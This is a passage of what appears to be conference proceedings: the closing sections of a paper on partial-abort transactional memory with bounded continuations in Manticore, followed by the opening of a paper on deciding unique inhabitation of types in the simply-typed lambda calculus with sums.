read set in order to find any earlier conflicts. After traversing the en-
tire read set, if the checkpoint is of the form SOME(tr, k, rs),
then we perform the following steps:

• Update the thread’s read set to rs
• Update the write set to the portion of the write set that rs points

to (see Figure 9)
• Update the read version to the version number received prior to

validation
• Throw to k

If, after traversing the entire read set, the checkpoint is of the form
NONE, then we do one of two things. If we validated the read set
because a transaction is trying to commit, then we continue with
the commit phase by pushing the thread’s write set into the global
store. If we validated because a conflict was eagerly detected in a
read, then we update the thread’s read version to the version number
acquired before validation and continue with the transaction; the
value read from the tref during the eager conflict detection is now
likely to be valid with respect to the new read version.

There is an interesting connection to be made here with a previ-
ously proposed optimization of similar full-abort STM implemen-
tations known as timebase extension [RFF07]. In that work, the
authors propose to validate the read set every time a tref is found to
be out of date when reading. If the entire read set is still valid, then
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Full Abort Partial Abort Partial Abort
(Unbounded) (Bounded)

Execution Time 9.220 s 9.271 s 6.836 s
Aborts 11,325 9,150 7,850

GC Time 1.27 s 3.91 s 0.848 s
Allocation 132,549 M 95,401 M 103,898 M

Figure 10. Linked List Stats (Full Abort vs. Partial Abort)

the transaction can continue with a new read version that the thread
acquires before performing validation. If validation fails, then the
transaction aborts and restarts from the beginning. This optimiza-
tion falls out naturally from performing partial aborts when a con-
flict is detected eagerly and generalizes the previously proposed
method by being able to salvage a portion of the transaction if the
entire read set cannot be validated.

5.5 Garbage Collection
The implementation presented thus far sounds good in theory; how-
ever, in practice, it does not yield impressive results. As a pre-
liminary benchmark, we tested this implementation on an ordered
linked list benchmark, where each thread performs 4,000 opera-
tions including lookup, insertion, and deletion from the list. We
found that the partial abort implementation performed marginally
slower than the full abort reference implementation. When taking a
closer look at the performance, we found that keeping a continua-
tion for each tref that was read had substantial impacts on garbage
collection performance.

Figure 10 contains the results of the linked list benchmark. In-
terestingly enough, the partial abort implementation discussed thus
far (Column 2) aborts fewer transactions, causing it to perform less
work, and in turn allocate less data, yet spends 3X time perform-
ing garbage collection compared to full abort. The reason for these
unexpected results is due to the liveness of the continuations being
recorded in the read set. In the full abort implementation, a return
continuation is allocated, passed into the read function, the tref is
read from, and the return continuation is thrown to. Once the re-
turn continuation is invoked, there remain no more references to
it, allowing the garbage collector to reclaim the space taken up by
the closure. In the partial abort implementation, however, we main-
tain a pointer to this closure until either an abort takes place or the
transaction commits. For the linked list benchmark, the read sets
become very large (4,000+ entries), causing a substantial discrep-
ancy in the heaps between the full abort and partial abort (with an
unbounded number of continuations) implementations.

5.6 Bounding Continuations
In an effort to deal with the garbage collection issue, we have
devised a scheme to limit the number of continuations held by any
transaction to a constant factor. This constant factor is determined
based on the size of the heap, rather than tuned in an application-
specific manner. The same constant is used for each benchmark
presented in Section 6.

The first change made to support bounded continuations is that
elements in the read set may or may not contain a continuation. This
requires a slight modification of the commit and eager detection
code, where we now revert control to the latest safe checkpoint,
which is not necessarily the exact point of the conflict. Second, we
have changed the representation of the read set from a traditional
linked list to a skip list as depicted in Figure 11. There still exists
a long path, which passes through every node in the linked list;
however, there is also now a short path which only passes through
items in the linked list that contain a continuation. Lastly, each
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Figure 11. Skip List Representation of Read Set

thread maintains a counter that controls the frequency at which
continuations are captured.

Threads begin by capturing a continuation at every read from a
tref. As soon as the maximum number of continuations is reached
(20 in our implementation), we walk the short path of the read set
and drop the continuation for every other entry. Then the frequency
is updated to capture a continuation at every other read. Figure 11
shows the read set after this filtering has occurred, so when the next
tref is read from (T6), we will not capture a continuation and will
not add it to the short path, but when T7 is read, a continuation
will be captured and added to the short path. Once the maximum is
reached a second time, we again drop every other continuation and
start capturing every 4 continuations. The frequency continues to
double each time the bound is reached and the read set is filtered.

This approach allows us to limit the number of continuations to
a constant factor, while maintaining an even distribution of check-
points throughout the transaction: even if a conflicting read does
not have a continuation, the latest safe checkpoint will nonetheless
salvage a good portion of the transaction. It is also worth noting
that by using the skip list, we can perform the filtering operation in
constant time.

Looking back at Figure 10, we can see that this does in fact
have dramatic savings in just about every respect. The execution
time improved by nearly 26% relative to the full abort implementa-
tion. Additionally, the number of aborted transactions was reduced
even further compared to the partial abort implementation with un-
bounded continuations. The amount of allocated data sits some-
where between full and unbounded partial abort. It is less than
full abort implementation, because fewer transactions are being
aborted, so less work is being done, corresponding to less alloca-
tion. However, the read set requires that additional information be
maintained and uses slightly more space than the unbounded par-
tial abort implementation. That said, the time spent doing GC is
substantially better than unbounded partial abort and slightly bet-
ter than full abort. The improved garbage collection time over full
abort can be attributed to the fact that less data is being allocated.

5.7 Chronologically Ordered Read Sets
One downside to the linked list representation we have chosen for
our read set is that the entire list needs to be scanned to detect a
conflict when performing partial aborts. Since a read item is consed
onto the head of the list each time, the natural order of traversing
the list corresponds to the reverse chronological order. This is

237



FA Time PA Time Change in Time FA Aborts PA Aborts PA % Partial Aborts Change in Aborts
Delaunay Mesh 6.54 6.49 -0.73% 124,105.26 90,193.74 16.43% -27.33%

Labyrinth 17.26 11.79 -31.67% 193.02 157.22 83.64% -18.55%
Linked List 9.19 6.72 -26.94% 11,538.46 7,996.62 87.9% -30.7%

Red Black Tree 8.92 10.03 +12.55% 3,684.88 4,557.72 93.73% +23.68%
Vacation 2.99 2.45 -18.00% 12,040.56 10,970.96 88.61% -8.89%
KMeans 3.34 3.41 +2.08% 28,799.38 10,537.1 0.00% -63.42%

STMBench7 6.53 6.12 -6.33% 150.02 236.67 3.77% +57.75%
Sudoku 2.9 2.63 -9.1% 18,820.24 17,946.46 86.47% -4.65%

Figure 12. Benchmark Results (FA corresponds to Full Abort and PA Corresponds to Partial Abort with Bounded Continuations)

fine for the full abort implementation, since it is only concerned
with whether a conflict exists or not; thus, if traversing in reverse
chronological order, as soon as a conflict is found the transaction
can abort without looking at the rest of the list. When performing
partial aborts, in order to preserve correctness, we must scan the
entire list, to ensure that the chronologically earliest conflict is
found.

The ability to append onto the end of a linked list could po-
tentially speed up the read set validation process substantially, by
maintaining a read set that is in chronological order. Unfortunately,
the Manticore heap layout precludes us from doing this efficiently.
As mentioned in Section 4.2, the split heap representation used in
Manticore requires that we maintain two invariants. First, there can-
not be any pointers from the global heap into any local heap, and
second, there cannot be any pointers from a local heap into another
local heap.

Implementing a chronologically ordered read set can potentially
violate the first invariant. If a garbage collection occurs in a local
heap, it is possible that the read set can get promoted to the global
heap. If we then allocate a new node for an entry in the read set
and append it on to the end of the list, we will have the tail of
the linked list, which exists in the global heap, pointing to a newly
allocated node that exists in a local heap. The way to get around this
is to promote newly allocated elements into the global heap before
appending them onto the end of the list. Unfortunately, in order
to preserve the heap invariants, everything transitively reachable
also needs to be promoted, which includes the closure of the return
continuation, adding significant overhead to every read.

6. Evaluation
Our benchmark machine is a Dell PowerEdge R815 machine,
equipped with 48 cores and 128 GB of physical memory. This
machine runs x86 64 Ubuntu Linux 10.04.2 LTS, kernel ver-
sion 2.6.32-67. The 48 cores are provided by four 12 core AMD
Opteron 6172 “Magny Cours” processors; each core operates at
2.1 GHz and is equipped with 64 KB of instruction and data L1
cache and 512 KB of L2 cache; each processor is equipped with
two 6 MB L3 caches (each of which is shared by six cores).

6.1 Benchmarks
To quantify the performance benefit of partial aborts, we have
selected eight benchmarks typically used in evaluating STM; many
come from the STAMP benchmark suite [CCKO08]. Benchmarks
were chosen to provide a wide spectrum of workloads including
long transactions, short transactions, and a mix of the two. In
this evaluation, we only consider the partial abort implementation
that includes the bounded continuation optimization described in
Section 5.6, where we limit the number of continuations to 20 for
each transaction.

Linked List Linked List implements an ordered linked list, where
each node in the linked list is represented as a tref. The list is

(sequentially) initialized with 4,000 elements and then each thread
performs 3,000 operations, consisting of queries, insertions, and
deletions with a ratio of 2:4:1 [SLM08]. This benchmark consists
of very long transactions, which present excellent opportunities for
partial aborts.

Delaunay Mesh (STAMP) Delaunay Mesh implements Rup-
pert’s algorithm for Delaunay mesh refinement. The mesh is rep-
resented as a graph of triangles, where each triangle is represented
as a tref. Additionally, there is a shared work queue that is pro-
tected by a tref. This benchmark consists of both very short trans-
actions (enqueuing/dequeuing from the work queue) and medium-
short transactions (refining the mesh).

Labyrinth (STAMP) Labyrinth implements Lee’s parallel rout-
ing algorithm [WKL07]. The objective is to find a path for all
source-destination pairs concurrently without having any overlap-
ping paths. This benchmark exhibits very long transactions with
large write sets.

Red Black Tree Red Black Tree implements a concurrent self
balancing binary search tree, where each node is protected by a
tref. The tree is (sequentially) initialized with 100,000 elements
and then each thread performs 500,000 operations, consisting of
queries, insertions, and deletions with a ratio of 1:1:1. This bench-
mark exhibits medium-length transactions.

Vacation (STAMP) Vacation simulates a travel reservation sys-
tem. The reservation system consists of a database represented as a
binary search tree with a tref at each node. Clients are able to make
and cancel reservations and the travel reservation system is able
to add and remove available reservations. This benchmark exhibits
medium length transactions.

KMeans (STAMP) KMeans implements a clustering algorithm
commonly used in data mining and machine learning. A transaction
is used to protect the update of the cluster centers, which amounts
to incrementing a counter by a constant. This benchmark consists
of very small transactions (1 read and 1 write) permitting zero
opportunities for partially-aborting a transaction.

Sudoku Sudoku implements a concurrent sudoku puzzle solver
[PSS+08] for 16 X 16 sized puzzles. Each cell in the puzzle is
protected by a tref. In each iteration of the solving process the board
is pruned, where one thread prunes across the rows, one across the
columns, and one across the boxes. Threads can potentially prune
the same element of the board, which makes use of transactions.
This benchmark has medium length transactions.

STMBench7 STMBench7 [GKV07] is a benchmark specifically
designed for evaluating transactional memory systems. The bench-
mark simulates an in-memory object graph for a CAD/CAM sys-
tem, where threads perform randomly selected operations contain-
ing different transactional workloads (long, short, large write sets,
etc.).
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Figure 13. Red Black Tree Partial Abort Positions

6.2 Benchmark Results
Figure 12 presents results for the previously described benchmarks.
Each benchmark is the average of 50 executions, each utilizing four
threads. In terms of number of aborted transactions, partial abort
performs better in the majority of cases, aborting more transactions
only on Red Black Tree and STMBench7. Interestingly, partial
abort reduces execution time by 6.33% on STMBench7 despite
the fact that it aborts 57.75% more transactions and only 3.77%
of the aborts were partial aborts. The reason for this is that some
transactions in this benchmark are very large, so even a few partial
aborts can have dramatic effects on execution time.

As is expected, the benchmarks that contain many large transac-
tions benefit the most from performing partial aborts. Linked List
and Labyrinth perform substantially better when partial aborts are
performed, decreasing execution time by 26.94% and 31.67%, re-
spectively. Most of the benchmarks that have medium length trans-
actions also perform quite well, decreasing executing time 6%-
18%, with the exception of Red Black Tree.

After looking into why the performance for Red Black Tree was
so poor, we found that the position that we typically partially-abort
to is very early on in the transactions. The problem is that when
inserting or deleting from the tree, a path of nodes is read until
the desired node is found. After inserting or deleting, the thread
then rebalances the tree, which ends up re-reading that same path
of nodes. If a conflict occurs on any node on that path, then we
must abort back to the first read from that tref. In this case, the
full abort implementation will detect the conflict early on; however,
when performing partial aborts, we must traverse the entire read set
in order to find the earliest safe checkpoint. Thus, we pay a large
overhead in finding a safe place to abort to, but we get little benefit
out of the partial abort since it occurs so close to the beginning of
the transaction.

Figure 13 contains a histogram describing this phenomenon.
The bars are split into two categories, the dark colored portion
represents conflicts that were detected eagerly (during a read) and
the light colored portion represents conflicts that were detected at
the end of a transaction. The x-axis indicates what portion of the
transaction the thread partially aborted to with respect to the length
of the read set. We can see that the vast majority of the aborts
restored control to a position within the first 30% of the transaction.
Note that almost all conflicts that aborted to the 30-100% portion
of the transaction were eager conflicts, so the total number of reads
performed at the point of validation is less, yielding a smaller
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Figure 15. Percentage Throughput Increase Relative to Full Abort

benefit than a partial abort performed at commit time. We believe
that performance would improve dramatically if a chronologically
ordered skip list could be used for the read set, allowing validation
to efficiently take place.

For Delaunay Mesh Refinement, we see a minor speedup of
0.73%. This unimpressive improvement can be attributed to the
mix of very short and medium-short transactions. When enqueu-
ing/dequeueing from the work queue, there is no chance of par-
tially aborting, which also drives up the number of full aborts for
this benchmark: of the total aborts, only 16.43% are partial aborts.

KMeans also exhibits poor performance; however, this is to be
expected as there is zero opportunity for partially aborting any
transactions. This benchmark was used to serve as a baseline in
order to see what kind of overheads are introduced from keeping
the extra information in the read set. Interestingly enough, KMeans
performs fewer aborts under the partial abort implementation de-
spite the fact that it is not partially aborting anything. This can be
attributed to the fact that if a thread detects an eager conflict and is
able to validate its entire read set, it can continue with the transac-
tion without aborting. Since read sets are very small in this bench-
mark, this happens quite often.
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6.3 Throughput
One of the arguments we use to motivate partial aborts is that of
fairness and throughput. In a context where some threads are ex-
ecuting short transactions that conflict with long running transac-
tions, we would prefer the probability of a transaction committing
to be as uniform as possible. To that effect, we have evaluated the
throughput of partial aborts on an ordered linked list benchmark,
where half of the threads perform their operations only on the first
50% of the linked list and the other half perform their operations
only on the second half of the list. Thus, the threads operating in the
first half have a much higher probability of committing their trans-
action. Each execution is run for 10 seconds and the total number
of operations completed by the threads working in the second half
of the list is recorded.

Figures 14 and 15 contain the results of this experiment, giv-
ing the number of completed operations performed by second-half
threads (Figure 14) and the percentage increase in throughput (mea-
sured by completed operations) relative to full abort (Figure 15).
Again, operations are only counted for the threads working in the
second half of the list, as they are the ones at a disadvantage that we
are interested in quantifying. Note that the number of threads along
the x-axis indicates the total number of threads in the benchmark,
so at the 48 core mark, there are 24 threads operating in the first
half of the list and 24 threads working in the second half of the list.

Clearly, scalability is poor for the linked list benchmark; how-
ever, this is to be expected. This is an inherently sequential appli-
cation, so, as contention gets higher, the number of aborted trans-
actions goes up. That said, the partial abort implementation does
perform much better than the full abort implementation. For full
abort, the best total throughput occurs when there is only one thread
working on each half of the linked list and degrades substantially
as additional threads are added. The partial abort implementation
performs better than full abort across the board on all configura-
tions. Furthermore, there are five instances (cores 40-48), where
the percentage increase in throughput exceeds 300%, maxing out
at 351%.

7. Related Work
The most closely related work is [KH08], where the authors first
proposed partially aborting transactions. The main difference is
in the implementation of partially aborting transactions. Here, the
authors need to perform stack copying in order to safely revert
control to a checkpoint in the event of a violation. In our work,
we make use of the CPS transformation to perform checkpointing
much more efficiently. Additionally, we provide a novel mechanism
for controlling the number of checkpoints created that performs
well across many of our benchmarks.

Gupta et al. also explored checkpointing transactions in
[GSA10]. They attempt to control the number of checkpoints cre-
ated by associating a conflict probability with each transactional
location based on the number of times it is accessed within a trans-
action. Additionally, they use a frequency counter similar to what
we present, however, this is a uniform constant that does not adapt
as the transaction proceeds. This constant, is then application spe-
cific and would need to be tuned for each program.

Nested transactions have been proposed in a number of varia-
tions [MBM+06, NMAT+07, HS07], where atomic blocks can be
nested arbitrarily. At the end of an atomic block, the read set is
validated, and the transaction commits after the outermost atomic
block can be validated. Figure 16 shows how nested transactions
are commonly used as a checkpointing mechanism. On the left, we
have a nested transaction towards the end of the outermost trans-
action. If validation fails in the inner transaction, then execution
returns to the beginning of the second atomic, rather than going all

atomic{
...
atomic{

....
}

}

atomic{
atomic{

....
}
...

}

Figure 16. Common Nested Transactional Idioms

the way back to the beginning. In the second example, the inner
atomic is placed at the beginning, so that the log will be validated
early in the hope of not wasting time executing the remainder of the
outermost transaction if there is a violation at the beginning. These
two idioms are essentially subsumed by checkpointing and eager
conflict detection.

Timestamp extension [RFF07] has been used in many recently
proposed STM systems [FFR08, SDMS09, RFF06], where a new
stamp is fetched from the global clock and the read set is validated
when an eager conflict is detected. If the entire read set can be
validated, then the transaction is able to proceed with the new
time stamp, avoiding many spurious aborts. As was mentioned in
Section 5.2, eager conflict detection with partial aborts generalizes
this technique by additionally being able to salvage a portion of the
transaction if validation of the entire log fails.

Ziarek et al. proposed a language abstraction called the sta-
bilizer [ZSJ06], which establishes a checkpoint in the context of
concurrent message passing and transient faults. If a thread needs
to re-execute a section of code due to a transient fault that in-
cludes message passing communication with another thread, then
all threads involved revert to a safe checkpoint. This requires that
transitive dependencies be tracked via an incremental graph con-
struction scheme. Additionally, since checkpoints are created man-
ually, they do not encounter the same problems that lead us to our
bounded continuation optimization.

Checkpointing is a fundamental part of recent work on self-
adjusting computation [LWFA08]. In this work, a selective CPS
transformation is used for functions that are annotated as self ad-
justing so that continuations can efficiently be captured. The au-
thors note significant overheads due to maintaining pointers to con-
tinuations and report all times without time spent doing garbage
collection. We believe that our approach to bounding the number
of continuations held at any given point could be used to solve this
problem.

8. Conclusion
In this paper we presented an extension of a full-abort transactional
memory algorithm that is able to efficiently support partial aborts
for transactions. Previous attempts at this have required that check-
points be explicitly inserted by the programmer, which we argue is
burdensome and ineffective. Many of the benchmarks presented in
Section 6 have unpredictable abort patterns. For example, with the
linked list benchmark, there is equal probability of aborting at every
tref in the linked list read from, which does not lead to any obvious
point to manually place a checkpoint. Our approach to bounding
the number of continuations maintained in the read set automati-
cally learns the right granularity to capture continuations, leading
to an efficient and easy to use implementation.

A second argument for transparently checkpointing transac-
tions, is that it adapts with the composition of transactions. Com-
positionality is one commonly cited attractive feature of STM. If
programmers are to manually insert checkpoints in their code, it is
possible that a checkpoint makes sense in a given context, but when
composed with other transactions, no longer has desirable perfor-
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mance. By automatically adjusting the frequency at which contin-
uations are captured on a per transaction basis, we are able to find
the right granularity regardless of composition.

Although the work presented here is based on the Transactional
Locking II algorithm, our partial abort extension could easily be
added on top of other lazy versioning STMs. In fact, we currently
have a preliminary version of NoRec [DSS10] that has been ex-
tended with partial aborts. We leave it to future work to explore
adding partial aborts to STMs that use encounter-time locking as
opposed to lazy versioning.

We credit the initial design decisions of the Manticore runtime
system for the elegance and simplicity of our implementation.
Basing the scheduling infrastructure on first-class continuations led
to very flexible scheduling policies [Rai10], but also allowed us to
implement our partial abort STM extension quite easily. The entire
implementation is less than 400 lines of BOM code and did not
require any modifications of the compiler or core runtime system.
Furthermore, we believe that a number of extensions to our STM
library can easily be added on top with little effort. For example, we
could easily add manual checkpointing in the following manner:

local val cpTRef = STM.new 0
in fun checkpoint() = (STM.get cpTRef; ())
end

Since no thread has the ability to write to cpTRef, it will always
serve as a safe checkpoint in a thread’s read set.

We are also interested in exploring user defined checkpointing
policies in the future. Capturing continuations uniformly works
well for the majority of benchmark applications that we presented
in this work, however, certain applications, such as red black tree
have odd conflict patterns that the programmer could characterize
in a more ad hoc manner.
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Abstract

We study the question of whether a given type has a unique in-
habitant modulo program equivalence. In the setting of simply-
typed lambda-calculus with sums, equipped with the strong βη-
equivalence, we show that uniqueness is decidable. We present a
saturating focused logic that introduces irreducible cuts on positive
types “as soon as possible”. Backward search in this logic gives an
effective algorithm that returns either zero, one or two distinct in-
habitants for any given type. Preliminary application studies show
that such a feature can be useful in strongly-typed programs, in-
ferring the code of highly-polymorphic library functions, or “glue
code” inside more complex terms.

Categories and Subject Descriptors F.3.3 [Logics and Mean-
ings of Programs]: Studies of Program Constructs—Type structure

General Terms Languages, Theory

Keywords Unique inhabitants, proof search, simply-typed lambda-
calculus, focusing, canonicity, sums, saturation, code inference

1. Introduction

In this article, we answer an instance of the following question:
“Which types have a unique inhabitant”? In other words, for which
type is there exactly one program of this type? Which logical
statements have exactly one proof term?

To formally consider this question, we need to choose one
specific type system, and one specific notion of equality of pro-
grams – which determines uniqueness. In this article, we work with
the simply-typed λ-calculus with atoms, functions, products and
sums as our type system, and we consider programs modulo βη-
equivalence. We show that unique inhabitation is decidable in this
setting; we provide and prove correct an algorithm to answer it, and
suggest several applications for it. This is only a first step: simply-
typed calculus with sums is, in some sense, the simplest system in
which the question is delicate enough to be interesting. We hope
that our approach can be extended to richer type systems – with
polymorphism, dependent types, and substructural logics.
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For reasons of space, the proofs of the formal results are only
present in the long version of this article (Scherer and Rémy 2015).

1.1 Why Unique?

We see three different sources of justification for studying unique-
ness of inhabitation: practical use of code inference, programming
language design, and understanding of type theory.

In practice, if the context of a not-yet-written code fragment de-
termines a type that is uniquely inhabited, then the programming
system can automatically fill the code. This is a strongly princi-
pal form of code inference: it cannot guess wrong. Some forms of
code completion and synthesis have been proposed (Perelman, Gul-
wani, Ball, and Grossman 2012; Gvero, Kuncak, Kuraj, and Piskac
2013), to be suggested interactively and approved by the program-
mer. Here, the strong restriction of uniqueness would make it suit-
able for a code elaboration pass at compile-time: it is of differ-
ent nature. Of course, a strong restriction also means that it will
be applicable less often. Yet we think it becomes a useful tool
when combined with strongly typed, strongly specified program-
ming disciplines and language designs – we have found in prelimi-
nary work (Scherer 2013) potential use cases in dependently typed
programming. The simply-typed lambda-calculus is very restricted
compared to dependent types, or even the type systems of ML, Sys-
tem F, etc. used in practice in functional programming languages;
but we have already found a few examples of applications (Sec-
tion 6). This shows promises for future work on more expressive
type systems.

For programming language design, we hope that a better un-
derstanding of the question of unicity will let us better understand,
compare and extend other code inference mechanisms, keeping the
question of coherence, or non-ambiguity, central to the system.
Type classes or implicits have traditionally been presented (Wadler
and Blott 1989; Stuckey and Sulzmann 2002; Oliveira, Schrijvers,
Choi, Lee, Yi, and Wadler 2014) as a mechanism for elaboration,
solving a constraint or proof search problem, with coherence or
non-ambiguity results proved as a second step as a property of
the proposed elaboration procedure. Reformulating coherence as a
unique inhabitation property, it is not anymore an operational prop-
erty of the specific search/elaboration procedure used, but a seman-
tic property of the typing environment and instance type in which
search is performed. Non-ambiguity is achieved not by fixing the
search strategy, but by building the right typing environment from
declared instances and potential conflict resolution policies, with a
general, mechanism-agnostic procedure validating that the result-
ing type judgments are uniquely inhabited.

In terms of type theory, unique inhabitation is an occasion
to take inspiration from the vast literature on proof inhabitation
and proof search, keeping relevance in mind: all proofs of the
same statement may be equally valid, but programs at a given
type are distinct in important and interesting ways. We use focus-
ing (Andreoli 1992), a proof search discipline that is more canon-
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ical (enumerates less duplicates of each proof term) than simply
goal-directed proof search, and its recent extension into (maximal)
multi-focusing (Chaudhuri, Miller, and Saurin 2008).

1.2 Example Use Cases

Most types that occur in a program are, of course, not uniquely
inhabited. Writing a term at a type that happens to be uniquely in-
habited is a rather dull part of the programming activity, as they are
no meaningful choices. While we do not hope unique inhabitants
would cure all instances of boring programming assignment, we
have identified two areas where they may be of practical use:

• inferring the code of highly parametric (strongly specified) aux-
iliary functions

• inferring fragments of glue code in the middle of a more com-
plex (and not uniquely determined) term

For example, if you write down the signature of flip
∀αβγ.(α → β → γ) → (β → α → γ) to document your stan-
dard library, you should not have to write the code itself. The types
involved can be presented equivalently as simple types, replacing
prenex polymorphic variables by uninterpreted atomic types (X, Y,
Z. . . ). Our algorithm confirms that (X → Y → Z) → (Y →
X → Z) is uniquely inhabited and returns the expected program –
same for curry and uncurry, const, etc.

In the middle of a term, you may have forgotten whether the
function proceedings excepts a conf as first argument and a
year as second argument, or the other way around. Suppose a
language construct ?! that infers a unique inhabitant at its ex-
pected type (and fails if there are several choices), understand-
ing abstract types (such as year) as uninterpreted atoms. You can
then write (?! proceedings icfp this year), and let the pro-
gramming system infer the unique inhabitant of either (conf →
year → proceedings) → (conf → year → proceedings)
or (conf → year → proceedings) → (year → conf →
proceedings) depending on the actual argument order – it would
also work for conf ∗ year→ proceedings, etc.

1.3 Aside: Parametricity?

Can we deduce unique inhabitation from the free theorem of a
sufficiently parametric type? We worked out some typical exam-
ples, and our conclusion is that this is not the right approach. Al-
though it was possible to derive uniqueness from a type’s paramet-
ric interpretation, proving this implication (from the free theorem
to uniqueness) requires arbitrary reasoning steps, that is, a form of
proof search. If we have to implement proof search mechanically,
we may as well work with convenient syntactic objects, namely
typing judgments and their derivations.

For example, the unary free theorem for the type of composition
∀αβγ.(α→ β)→ (β → γ)→ (α→ γ) tells us that for any sets
of terms Sα, Sβ , Sγ , if f and g are such that, for any a ∈ Sα we
have f a ∈ Sβ , and for any b ∈ Sβ we have g b ∈ Sγ , and
if t is of the type of composition, then for any a ∈ Sα we have
t f g a ∈ Sγ . The reasoning to prove unicity is as follows. Suppose
we are given functions (terms) f and g. For any term a, first define
Sα

def
= {a}. Because we wish f to map elements of Sα to Sβ , define

Sβ
def
= {f a}. Then, because we wish g to map elements of Sβ to

Sγ , define Sγ
def
= {g (f a)}. We have that t f g a is in Sγ , thus

t f g is uniquely determined as λa. g (f a).
This reasoning exactly corresponds to a (forward) proof search

for the type α → γ in the environment α, β, γ, f : α → β, g :
β → γ. We know that we can always start with a λ-abstraction
(formally, arrow-introduction is an invertible rule), so introduce x :

α in the context and look for a term of type γ. This type has no head
constructor, so no introduction rules are available; we shall look for
an elimination (function application or pair projection). The only
elimination we can perform from our context is the application f x,
which gives a β. From this, the only elimination we can perform is
the application g (f x), which gives a γ. This has the expected goal
type: our full term is λx. g (f x). It is uniquely determined, as we
never had a choice during term construction.

1.4 Formal Definition of Equivalence

We recall the syntax of the simply-typed lambda-calculus types
(Figure 1), terms (Figure 2) and neutral terms. The standard typing
judgment ∆ ` t : A is recalled in Figure 3, where ∆ is a
general context mapping term variables to types. The equivalence
relation we consider, namely βη-equivalence, is defined as the least
congruence satisfying the equations of Figure 4. Writing t : A
in an equivalence rule means that the rule only applies when the
subterm t has type A – we only accept equivalences that preserve
well-typedness.

A,B,C,D ::= types
|X,Y, Z atoms
| P,Q positive types
| N,M negative types

P,Q ::= A+B strict positive
N,M ::= A→ B | A ∗B strict negative
Pat, Qat ::= P,Q | X,Y, Z positive or atom
Nat,Mat ::= N,M | X,Y, Z negative or atom

Figure 1. Types of the simply-typed calculus

t, u, r ::= terms
| x, y, z variables
| λx. t λ-abstraction
| t u application
| (t, u) pair
| πi t projection (i ∈ {1, 2})
| σi t sum injection (i ∈ {1, 2})
| δ(t, x1.u1, x2.u2) sum elimination (case split)

n,m := x, y, z | πi n | n t neutral terms

Figure 2. Terms of the lambda-calculus with sums

∆, x : A ` t : B

∆ ` λx. t : A→ B

∆ ` t : A→ B ∆ ` u : A

∆ ` t u : B

∆ ` t : A ∆ ` u : B

∆ ` (t, u) : A ∗B
∆ ` t : A1 ∗A2

∆ ` πi t : Ai

∆, x : A ` x : A
∆ ` t : Ai

∆ ` σi t : A1 +A2

∆ ` t : A1 +A2

∆, x1 : A1 ` u1 : C ∆, x2 : A2 ` u2 : C

∆ ` δ(t, x1.u1, x2.u2) : C

Figure 3. Typing rules for the simply-typed lambda-calculus

We distinguish positive types, negative types, and atomic types.
The presentation of focusing (subsection 1.6) will justify this dis-
tinction. The equivalence rules of Figure 4 make it apparent that
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(λx. t) u→β u[t/x] (t : A→ B) =η λx. t x

πi (t1, t2)→β ti (t : A ∗B) =η (π1 t, π2 t)

δ(σi t, x1.u1, x2.u2)→β ui[t/xi]

∀C[�], C[t : A+B] =η δ(t, x.C[σ1 x], x.C[σ2 x])

Figure 4. βη-equivalence for the simply-typed lambda-calculus

the η-equivalence rule for sums is more difficult to handle than the
other η-rule, as it quantifies on any term contextC[�]. More gener-
ally, systems with only negative, or only positive types have an eas-
ier equational theory than those with mixed polarities. In fact, it is
only at the end of the 20th century (Ghani 1995; Altenkirch, Dybjer,
Hofmann, and Scott 2001; Balat, Di Cosmo, and Fiore 2004; Lind-
ley 2007) that decision procedures for equivalence in the lambda-
calculus with sums were first proposed.

Can we reduce the question of unicity to deciding equivalence?
One would think of enumerating terms at the given type, and
using an equivalence test as a post-processing filter to remove
duplicates: as soon as one has found two distinct terms, the type
can be declared non-uniquely inhabited. Unfortunately, this method
does not give a terminating decision procedure, as naive proof
search may enumerate infinitely many equivalent proofs, taking
infinite time to post-process. We need to integrate canonicity in the
structure of proof search itself.

1.5 Terminology

We distinguish and discuss the following properties:

• provability completeness: A search procedure is complete for
provability if, for any type that is inhabited in the unrestricted
type system, it finds at least one proof term.

• unicity completeness: A search procedure is complete for unic-
ity if it is complete for provability and, if there exists two proofs
distinct as programs in the unrestricted calculus, then the search
finds at least two proofs distinct as programs.

• computational completeness: A search procedure is computa-
tionally complete if, for any proof term t in the unrestricted cal-
culus, there exists a proof in the restricted search space that is
equivalent to t as a program. This implies both previous notions
of completeness.

• canonicity: A search procedure is canonical if it has no dupli-
cates: any two enumerated proofs are distinct as programs. Such
procedures require no filtering of results after the fact. We will
say that a system is more canonical than another if it enumer-
ates less redundant terms, but this does not imply canonicity.

There is a tension between computational completeness and ter-
mination of the corresponding search algorithm: when termination
is obtained by cutting the search space, it may remove some com-
putational behaviors. Canonicity is not a strong requirement: we
could have a terminating, unicity-complete procedure and filter du-
plicates after the fact, but have found no such middle-ground. This
article presents a logic that is both computationally complete and
canonical (Section 3), and can be restricted (Section 4) to obtain a
terminating yet unicity-complete algorithm (Section 5).

1.6 Focusing for a Less Redundant Proof Search

Focusing (Andreoli 1992) is a generic search discipline that can
be used to restrict redundancy among searched proofs; it relies on
the general idea that some proof steps are invertible (the premises

are provable exactly when the conclusion is, hence performing this
step during proof search can never lead you to a dead-end) while
others are not. By imposing an order on the application of invertible
and non-invertible proof steps, focusing restricts the number of
valid proofs, but it remains complete for provability and, in fact,
computationally complete (§1.5).

More precisely, a focused proof system alternates between two
phases of proof search. During the invertible phase, rules recog-
nized as invertible are applied as long as possible – this stops
when no invertible rule can be applied anymore. During the non-
invertible phase, non-invertible rules are applied in the following
way: a formula (in the context or the goal) is chosen as the focus,
and non-invertible rules are applied as long as possible.

For example, consider the judgment x : X + Y ` X + Y . In-
troducing the sum on the right by starting with a σ1 ? or σ2 ? would
be a non-invertible proof step: we are permanently committing to
a choice – which would here lead to a dead-end. On the contrary,
doing a case-split on the variable x is an invertible step: it leaves all
our options open. For non-focused proof search, simply using the
variable x : X + Y as an axiom would be a valid proof term. It is
not a valid focused proof, however, as the case-split on x is a pos-
sible invertible step, and invertible rules must be performed as long
as they are possible. This gives a partial proof term δ(x, y.?, z.?),
with two subgoals y : X ` X + Y and z : X ` X + Y ; for
each of them, no invertible rule can be applied anymore, so one can
only focus on the goal and do an injection. While the non-focused
calculus had two syntactically distinct but equivalent proofs, x and
δ(x, y.σ1 y, z.σ2 z), only the latter is a valid focused proof: re-
dundancy of proof search is reduced.

The interesting steps of a proof are the non-invertible ones. We
call positive the type constructors that are “interesting to intro-
duce”. Conversely, their elimination rule is invertible (sums). We
call negative the type constructors that are “interesting to elimi-
nate”, that is, whose introduction rule is invertible (arrow and prod-
uct). While the mechanics of focusing are logic-agnostic, the po-
